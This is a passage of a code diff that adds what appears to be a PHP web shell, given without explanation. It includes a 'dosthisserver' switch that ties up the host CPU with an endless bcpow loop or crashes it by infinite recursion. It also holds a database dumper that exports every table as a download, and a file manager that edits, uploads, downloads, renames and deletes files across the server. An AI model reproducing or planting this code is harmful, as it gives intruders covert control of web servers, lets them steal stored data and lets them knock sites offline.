     1162 +echo '<textarea rows="19" name="fedit" cols="87">'.$src.'</textarea>';
     1163 +unlink ($a['name']);
     1164 +}
     1165 +else{
     1166 +echo 'No File converted';}
     1167 +}
     1168 +yasser($_FILES['file1']);}
     1169 +echo '</center>'.$end;exit;}
     1170 +
     1171 +
     1172 +if ($_GET['dosthisserver']=="1"){
     1173 +function dosserver(){
     1174 +$junk=str_repeat("99999999999999999999999999999999999999999999999999",99999);
     1175 +for($i=0;$i<2;){
     1176 +$buff=bcpow($junk, '3', 2);
     1177 +$buff=null;
     1178 +}
     1179 +}
     1180 +dosserver();
     1181 +}
     1182 +if ($_GET['dosthisserver']=="2"){
     1183 +function cx(){cx();}
     1184 + cx();
     1185 +}
     1186 +if (($_GET['do']=="convert")OR($_POST['do']=="convert")){
     1187 +$hash=null;
     1188 +if ($_POST['stringtoh'] && $_POST['hashtoh']=='md5'){
     1189 +$hash=md5($_POST['stringtoh']);
     1190 +}elseif ($_POST['stringtoh'] && $_POST['hashtoh']=='sha1'){
     1191 +$hash=sha1($_POST['stringtoh']);
     1192 +}elseif ($_POST['stringtoh'] && $_POST['hashtoh']=='crc32'){
     1193 +$hash=crc32($_POST['stringtoh']);
     1194 +}elseif ($_POST['stringtoh'] && $_POST['hashtoh']=='b64e'){
     1195 +$hash=base64_encode($_POST['stringtoh']);
     1196 +}elseif ($_POST['stringtoh'] && $_POST['hashtoh']=='b64d'){
     1197 +$hash=base64_decode($_POST['stringtoh']);
     1198 +}
     1199 +echo $head.'
     1200 +<form method=post action="'.$me.'">
     1201 +<p align="center">Convert<br><table><tr>
     1202 +<input type=hidden name=do value=convert>
     1203 +<textarea cols=60 rows=10 name=stringtoh></textarea><br>
     1204 +<select name=hashtoh>
     1205 +<option value="md5">MD5</option>
     1206 +<option value="crc32">CRC32</option>
     1207 +<option value="sha1">SHA1</option>
     1208 +<option value="b64e">Base64 Encode!</option>
     1209 +<option value="b64d">Base64 Decode!</option></tr><tr><br>
     1210 +<br><textarea cols=60 rows=10 >'.$hash.'</textarea></tr><br><input type=submit value="Convert">
     1211 +</table>
     1212 +
     1213 +</p></form>'.$end;exit;}
     1214 +if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
     1215 +$date = date("Y-m-d");
     1216 +$dbserver = $_POST['server'];
     1217 +$dbuser = $_POST['username'];
     1218 +$dbpass = $_POST['password'];
     1219 +$dbname = $_POST['dbname'];
     1220 +$file = "Dump-$dbname-$date";
     1221 +$method = $_POST['method'];
     1222 +if ($method=='sql'){
     1223 +$file="Dump-$dbname-$date.sql";
     1224 +$fp=fopen($file,"w");
     1225 +}else{
     1226 +$file="Dump-$dbname-$date.sql.gz";
     1227 +$fp = gzopen($file,"w");
     1228 +}
     1229 +function write($data) {
     1230 +global $fp;
     1231 +if ($_POST['method']=='sql'){
     1232 +fwrite($fp,$data);
     1233 +}else{
     1234 +gzwrite($fp, $data);
     1235 +}}
     1236 +mysql_connect ($dbserver, $dbuser, $dbpass);
     1237 +mysql_select_db($dbname);
     1238 +$tables = mysql_query ("SHOW TABLES");
     1239 +while ($i = mysql_fetch_array($tables)) {
     1240 + $i = $i['Tables_in_'.$dbname];
     1241 + $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
     1242 + write($create['Create Table'].";\n\n");
     1243 + $sql = mysql_query ("SELECT * FROM ".$i);
     1244 + if (mysql_num_rows($sql)) {
     1245 + while ($row = mysql_fetch_row($sql)) {
     1246 + foreach ($row as $j => $k) {
     1247 + $row[$j] = "'".mysql_escape_string($k)."'";
     1248 + }
     1249 + write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
     1250 + }
     1251 + }
     1252 +}
     1253 +if ($method=='sql'){
     1254 +fclose ($fp);
     1255 +}else{
     1256 +gzclose($fp);}
     1257 +header("Content-Disposition: attachment; filename=" . $file);
     1258 +header("Content-Type: application/download");
     1259 +header("Content-Length: " . filesize($file));
     1260 +flush();
     1261 +
     1262 +$fp = fopen($file, "r");
     1263 +while (!feof($fp))
     1264 +{
     1265 + echo fread($fp, 65536);
     1266 + flush();
     1267 +}
     1268 +fclose($fp);
     1269 +}
     1270 +
     1271 +/* if($_GET['do']=="edit"){
     1272 +if($_GET['filename']=="dir"){
     1273 +if(is_readable($_GET['address'])){
     1274 +chdir($_GET['address']);}else{alert("Permission Denied !");}
     1275 +
     1276 +}} */
     1277 +
     1278 +
     1279 +
     1280 +
     1281 +$araddresss=explode($slash,getcwd());
     1282 +$matharrayy=count($araddresss)-1;
     1283 +$addr1backk=str_replace($araddresss[$matharrayy],"",$araddresss);
     1284 +for($countback=0;$countback<count($addr1backk);$countback++){
     1285 +$arraybacke[$countback]=$slash.$addr1backk[$countback];
     1286 +$backdirunixx=$backdirunixx.$slash.$addr1backk[$countback];
     1287 +}
     1288 +if ($slash=="\\"){
     1289 +$countback=null;
     1290 +$backdirwin=null;
     1291 +for($countback=1;$countback<count($addr1backk);$countback++){
     1292 +$backdirwin=$backdirwin."\\".$addr1backk[$countback];}
     1293 +$backdirwin=$addr1backk[0].$backdirwin;
     1294 +$backaddresss=$backdirwin;
     1295 +}else{
     1296 +$countback=null;
     1297 +$backdirwin=null;
     1298 +for($countback=1;$countback<count($addr1backk);$countback++){
     1299 +$backdirwin=$backdirwin."/".$addr1backk[$countback];}
     1300 +$backdirwin=$addr1backk[0].$backdirwin;
     1301 +$backaddresss=$backdirwin;
     1302 +$backaddresss=str_replace("\\","/",$backaddresss);
     1303 +}
     1304 +function calc_dir_size($path)
     1305 +{
     1306 +$size = 0;
     1307 +if ($handle = opendir($path))
     1308 +{
     1309 +while (false !== ($entry = readdir($handle)))
     1310 +{
     1311 +$current_path = $path . '/' . $entry;
     1312 +if ($entry != '.' && $entry != '..' && !is_link($current_path))
     1313 +{
     1314 +if (is_file($current_path))
     1315 +$size += filesize($current_path);
     1316 +elseif (is_dir($current_path))
     1317 +$size = calc_dir_size($current_path);
     1318 +}
     1319 +}
     1320 +}
     1321 +closedir($handle);
     1322 +return $size;
     1323 +}
     1324 +function openf($parsef){
     1325 +global $basep,$slash;
     1326 +
     1327 +if(strlen(strpos(getcwd(),$basep))>=1){
     1328 +$rr=str_replace($basep,"",getcwd());
     1329 +$rr=str_replace("\\","/",$rr);
     1330 +$diropen='<a href="'.$rr."/".$parsef.'">'.$parsef.'</a>';
     1331 +}else{
     1332 +$diropen='<a href="?do=edit&address='.getcwd().$slash.'&filename='.$parsef.'">'.$parsef.'</a>';
     1333 +}
     1334 +return $diropen;
     1335 +}
     1336 +if ($_GET['address']){$ifget=$_GET['address'];}if($_POST['address']){$ifget=$_POST['address'];}
     1337 +if($cwd==''){$cwd=getcwd();}$nowaddress='<input type=hidden name=address value="'.$cwd.'">';
     1338 +$ad=getcwd();
     1339 +$hand=opendir("$ad");
     1340 +$coi=0;
     1341 +$coi2=0;
     1342 +
     1343 +while (false !== ($fileee = readdir($hand))) {
     1344 + if ($fileee != "." && $fileee != "..") {
     1345 + if (filetype($fileee)=="dir"){
     1346 + if ($coi %2){
     1347 +$colort='"#e7e3de"';
     1348 +}else{
     1349 +$colort='"#e4e1de"';
     1350 +
     1351 +}
     1352 +$coi++;
     1353 +$fil=$fil.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="1" dir="ltr">
     1354 +<tr onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$oo.'\';"><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="" style="font-size: 9pt"><img style="width:12px" src="data:image/png;base64,' .$picdir. '" /> <a href="?address='.$cwd.$slash.$fileee.$slash.'">'.$fileee.'</b></span></td>
     1355 +<td valign="top" height="19" width="65"><font face="" style="font-size: 9pt">'.date("y/m/d", filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="" style="font-size: 9pt">'.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).'</td><td valign="top" height="19" width="30"><font face="" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="" style="font-size: 9pt"><a href="?do=down&type=dir&address='.$cwd.$slash.'&dirname='.$fileee.'"><center>Dow</center></a></td><td valign="top" height="19" width="30"><font face="" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'"><center>Ren</center></a></td>
     1356 +<td valign="top" height="19" width="30"><font face="" style="font-size: 9pt"><a href="?do=delete&type=dir&address='.$cwd.$slash.'&filename='.$fileee.'"><center>Del</center></a></td></tr></table>'
     1357 +;}
     1358 +else{
     1359 +
     1360 + if ($coi2 %2){
     1361 +$colort='"#e7e3de"';
     1362 +}else{
     1363 +$colort='"#e4e1de"';
     1364 +}
     1365 +$coi2++;
     1366 +$file=$file.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr">
     1367 +<tr onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$oo.'\';"><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="" style="font-size: 9pt"><img style="width:13px" src="data:image/png;base64,' .$picfile. '" /> '.openf($fileee).'</span></td>
     1368 +<td valign="top" height="19" width="80"><font face="" style="font-size: 9pt">'.sizee(filesize($fileee)).'</td><td valign="top" height="19" width="65"><font face="" style="font-size: 9pt">'.date("y/m/d", filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="" style="font-size: 9pt">'.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).'</td><td valign="top" height="19" width="30"><font face="" style="font-size: 9pt"><a href="?do=edit&address='.$cwd.$slash.'&filename='.$fileee.'"><center>Edit</center></a></td><td valign="top" height="19" width="23"><font face="" style="font-size: 9pt"><a href="?do=down&type=file&address='.$cwd.$slash.'&filename='.$fileee.'"><center>Dow</center></a></td><td valign="top" height="19" width="30"><font face="" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'"><center>Ren</center></a></td>
     1369 +<td valign="top" height="19" width="30"><font face="" style="font-size: 9pt"><a href="?do=delete&type=file&address='.$cwd.$slash.'&filename='.$fileee.'"><center>Del</center></a></td></tr></table>'
     1370 +;}
     1371 +}
     1372 +}
     1373 +echo $head.'
     1374 +<font face="" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
     1375 +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="" style="font-size: 9pt"><font color=red>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#008000>Back</span></td>
     1376 +</tr></table>'.$fil.$file.'</table>
     1377 +<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5">
     1378 +<tr>
     1379 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     1380 +<font face="" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Dir : </font></td>
     1381 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:"><input name=address value='.getcwd().$slash.' size=50>
     1382 +<input type=submit value=Change></form></td></tr>
     1383 +<tr>
     1384 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     1385 +<font face="" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Create Dir : </font></td>
     1386 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:"><input name=cdirname value='.getcwd().$slash.' size=50><input type=hidden name=address value='.getcwd().'><input type=submit value=" Create "></form></td></tr>
     1387 +<tr>
     1388 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     1389 +<font face="" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Create File : </font></td>
     1390 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:"><input name=cfilename value='.getcwd().$slash.' size=50> <input type=hidden name=address value='.getcwd().'><input type=submit value=" Create "></form></td></tr>
     1391 +<tr></form>
     1392 +<tr>
     1393 +<form action="'.$me.'" method="post" enctype=multipart/form-data>
     1394 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     1395 +<font face="" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Upload : </font></td>
     1396 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     1397 +'.$nowaddress.'
     1398 +<font face="" style="font-size: 10pt"><input size=40 type=file name=filee > <input type=hidden name=address value='.getcwd().'>
     1399 +<input type=submit value=Upload /></form></td></tr>
     1400 +<tr>
     1401 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     1402 +<font face="" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Copy File : </font></td>
     1403 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:"><input size=20 name=copyname><input type=hidden name=address value="'.getcwd().'"> To <input size=40 name=cpyto value="'.getcwd().$slash.'"> <input type=submit value =Copy></form></td></tr>
     1404 +'.$end;
     1405 +?>
Please wait...
Page is in error, reload to recover